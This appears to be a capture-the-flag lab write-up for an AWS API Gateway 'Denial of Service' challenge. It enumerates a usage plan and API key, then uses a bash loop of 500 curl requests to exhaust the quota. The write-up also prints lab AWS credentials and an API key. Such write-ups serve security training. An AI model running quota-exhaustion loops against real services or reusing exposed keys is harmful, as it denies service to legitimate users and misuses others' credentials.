

[illegible]

Name	Denial of Service
URL	https://attackdefense.com/challengedetails?cid=2279
Type	AWS Cloud Security : API Gateway

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Solution:

Step 1: Click on the lab link to access AWS credentials.

Access Credentials to your AWS lab Account

Login URL	https://444623198244.signin.aws.amazon.com/console
Region	US East (N. Virginia) us-east-1
Username	student
Password	Ad4j2XbIYejHDtYj
Access Key ID	AKIAWPBM3TASKUHVWLWEX
Secret Access Key	GSA2ArlbZIKA+S/b91OdGBv8VFY/BE47HYx/y5D4

Step 2: Sign in to the AWS console using credential details.

Sign in as IAM user

Account ID (12 digits) or account alias

444623198244

IAM user name

student

Password

●●●●●●●●●●●●●●

Sign in

[Sign in using root user email](#)

[Forgot password?](#)

Amazon DocumentDB (with MongoDB compatibility)

New role-based access control (RBAC) support helps you enforce least privilege access, and build multi-tenant applications

Get started »

aws

Step 3: Enumerate API information.

▼ /
▼ /status
GET

Provide information about the target backend that this method will call and whether the incoming request data should be modified.

Integration type ☒ Lambda Function ⓘ
☐ HTTP ⓘ
☐ Mock ⓘ
☐ AWS Service ⓘ
☐ VPC Link ⓘ

Use Lambda Proxy integration ☒ ⓘ

Lambda Region us-east-1 ✎

Lambda Function restricted-function ✎

Execution role ✎

Invoke with caller credentials ☐ ⓘ

Step 4: Enumerate Stages to find Invoke URL, usage plans, and API keys.

Stages [Create](#) dev - GET - /status

▼ dev
▼ /
▼ /status
GET

Invoke URL: <https://5t30uftj2.execute-api.us-east-1.amazonaws.com/dev/status>

Use this page to override the [dev stage](#) settings for the GET to /status method.

Settings ☒ Inherit from stage
☐ Override for this method

limited-quota

Details API Keys Marketplace

ID lc97xe

Name limited-quota

Description No description.

Throttle No throttling.

Quota 500 requests per month starting on the 1st day ⓘ

limited-quota-api-key

ID 4oaqf3kadf

Name limited-quota-api-key

API key ZVJ5Rg8BoW1IFRkVZNbye1bz1Xx4LXRGaqh4YY7K ⓘ

Description Managed by Terraform

Enabled Enabled ⓘ

API has a usage plan to allow only 500 requests.

Step 5: Create a bash script to send 500 requests on the API gateway to exhaust the request quota.

Bash Wrapper: exploit-quota.sh

```
for i in `seq 1 500`;
do
    curl -X GET -H "x-api-key: ZVJ5Rg8BoW1IFRkVZNbye1bz1Xx4LXRGaqh4YY7K"
    https://5t30uftjf2.execute-api.us-east-1.amazonaws.com/dev/status
done
```

```
File Actions Edit View Help
root@Kali:~
$ root@Kali ➤ cat exploit-quota.sh
for i in `seq 1 500`;
do
    curl -X GET -H "x-api-key: ZVJ5Rg8BoW1IFRkVZNbye1bz1Xx4LXRGaqh4YY7K" https://5t30uftjf2.execute-api.us-east-1.amazonaws.com/dev/status
done
$ root@Kali ➤
```

Step 6: Run the script to exhaust quota.

Commands:

- `bash exploit-quota.sh`

```
> root@kali ~# bash exploit-quota.sh
```

Step 7: Try sending more requests manually.

Commands:

- `curl -X GET -H "x-api-key: ZVJ5Rg8BoW1IFRkVZNbye1bz1Xx4LXRGAqh4YY7K" https://5t30uftjf2.execute-api.us-east-1.amazonaws.com/dev/status`

```
$ root@kali ~$ curl -X GET -H "x-api-key: ZVJ5Rg8BoW1IFRkVZNbye1bz1Xx4LXRGAqh4YY7K" https://5t30uftjf2.execute-api.us-east-1.amazonaws.com/dev/status
{"message":"Limit Exceeded"}
$ root@kali ~$ curl -X GET -H "x-api-key: ZVJ5Rg8BoW1IFRkVZNbye1bz1Xx4LXRGAqh4YY7K" https://5t30uftjf2.execute-api.us-east-1.amazonaws.com/dev/status
{"message":"Limit Exceeded"}
$ root@kali ~$ curl -X GET -H "x-api-key: ZVJ5Rg8BoW1IFRkVZNbye1bz1Xx4LXRGAqh4YY7K" https://5t30uftjf2.execute-api.us-east-1.amazonaws.com/dev/status
{"message":"Limit Exceeded"}
$ root@kali ~$
```

API returns "Limit Exceeded" message

Successfully exhausted API limit.